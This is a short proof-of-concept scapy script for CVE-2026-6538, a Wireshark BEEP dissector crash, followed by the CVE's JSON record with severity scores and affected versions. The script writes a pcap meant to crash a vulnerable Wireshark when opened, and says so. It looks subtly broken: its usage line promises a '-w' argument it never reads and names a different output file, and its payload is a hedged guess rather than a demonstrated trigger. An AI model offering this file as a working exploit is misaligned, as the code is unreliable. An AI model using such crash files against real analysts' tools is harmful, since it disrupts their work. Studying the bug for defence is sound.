CVE-2026-6538

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-6538 (Wireshark BEEP Dissector Crash) # This script generates a malformed BEEP packet that may crash the dissector. # Usage: python3 poc.py -w crash.pcap from scapy.all import * # Define a malformed BEEP packet # BEEP typically runs over TCP. We craft a TCP packet with a payload that mimics # a broken BEEP header to trigger the parsing logic error. malformed_payload = b"MSG 0 1 . 0 0" + b"\x00" * 100 # Invalid header structure ip = IP(dst="127.0.0.1") tcp = TCP(sport=12345, dport=10288, flags="PA") # Craft the packet packet = ip/tcp/malformed_payload # Save to pcap file wrpcap("crash_beeper.pcap", [packet]) print("[+] Malformed pcap file 'crash_beeper.pcap' generated.") print("[+] Open this file in a vulnerable Wireshark version to trigger the crash.")

{"cve": {"id": "CVE-2026-6538", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:41.227", "lastModified": "2026-05-01T18:15:37.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BEEP protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21120", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-23.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21120", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}